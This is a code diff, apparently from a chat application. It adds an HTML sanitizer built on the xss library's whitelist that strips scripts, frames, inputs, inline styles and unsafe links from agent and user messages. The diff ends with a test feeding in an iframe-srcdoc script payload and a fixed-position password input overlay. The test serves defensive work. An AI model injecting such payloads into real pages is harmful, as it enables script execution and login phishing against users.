+ '## Results',
77
+ '',
78
+ '- **one**',
79
+ '- two',
80
+ '',
81
+ '<iframe srcdoc="<script>parent.steal()</script>"></iframe>',
82
+ '<input id="pw" style="position:fixed;top:0">',
83
+ ].join('\n');
84
+ const out = renderToStaticMarkup(<FormattedMessageContent content={md} />);
85
+ expect(out).toContain('<strong>one</strong>');
86
+ expect(out).not.toMatch(/<iframe|srcdoc|<input|position:\s*fixed/i);
87
+ });
88
+ });
@@ -0,0 +1,62 @@
1
+ import { FilterXSS, getDefaultWhiteList, type IWhiteList } from 'xss';
2
+ import { TABLE_SCROLL_CLASS } from './markdownTables';
3
+
4
+ /**
5
+ * The one way chat HTML reaches the page: every message a bubble renders as HTML - an agent reply, markdown parsed to
6
+ * HTML, a builder text block - goes through here first.
7
+ *
8
+ * Chat text is written by people and by the agent, and the agent repeats what web pages say, so it is treated as
9
+ * hostile. Formatting survives (headings, lists, tables, code, links, images); nothing that runs, embeds a document,
10
+ * takes input or restyles the page does. The hand-rolled sanitizer this replaces kept `<iframe srcdoc>` (a document in
11
+ * the app's own origin, so its script could read the app's storage), forms and inputs, and inline styles (a message's
12
+ * `position: fixed` markup was laid over the whole app).
13
+ *
14
+ * A whitelist filter that parses the string itself, so the server render and the browser produce the same markup and
15
+ * hydration matches. Tags off the list are dropped (their text stays); script, style and frame bodies go entirely.
16
+ */
17
+ const ALLOWED_URI = /^(?:https?:|mailto:|tel:|#|\/(?!\/))/i;
18
+
19
+ // Classes are page styling: the app's utility classes would do what an inline style does (`fixed inset-0`), so only
20
+ // the ones this renderer puts there itself survive.
21
+ const ALLOWED_CLASS = (tag: string, value: string): string =>
22
+ value
23
+ .split(/\s+/)
24
+ .filter((c) => (tag === 'div' && c === TABLE_SCROLL_CLASS) || (tag === 'code' && /^language-[\w-]+$/.test(c)))
25
+ .join(' ');
26
+
27
+ const whiteList: IWhiteList = (() => {
28
+ const list = getDefaultWhiteList();
29
+ // Media players and image maps are not chat formatting.
30
+ for (const tag of ['audio', 'video', 'source', 'track', 'area', 'map']) delete list[tag];
31
+ list.a = ['href', 'title', 'target'];
32
+ list.div = [...(list.div ?? []), 'class'];
33
+ list.code = [...(list.code ?? []), 'class'];
34
+ return list;
35
+ })();
36
+
37
+ const filter = new FilterXSS({
38
+ whiteList,
39
+ stripIgnoreTag: true,
40
+ // Elements whose content is not text to show. Void tags (embed, frame) have none and are dropped with the rest.
41
+ stripIgnoreTagBody: ['script', 'style', 'iframe', 'object', 'noscript', 'template', 'textarea'],
42
+ css: false,
43
+ onTagAttr(tag, name, value) {
44
+ if (name === 'class') {
45
+ const kept = ALLOWED_CLASS(tag, value);
46
+ return kept ? `class="${kept}"` : '';
47
+ }
48
+ // A link that opens a new tab must not hand that tab a handle back to the app.
49
+ if (tag === 'a' && name === 'target') return 'target="_blank" rel="noopener noreferrer"';
50
+ return undefined;
51
+ },
52
+ safeAttrValue(_tag, name, value) {
53
+ const v = value.trim();
54
+ if (name === 'href' || name === 'src' || name === 'cite')
55
+ return ALLOWED_URI.test(v) ? v.replace(/"/g, '&quot;') : '';
56
+ return v.replace(/"/g, '&quot;');
57
+ },
58
+ });
59
+
60
+ export function sanitizeChatHtml(html: string): string {
61
+ return filter.process(html);
62
+ }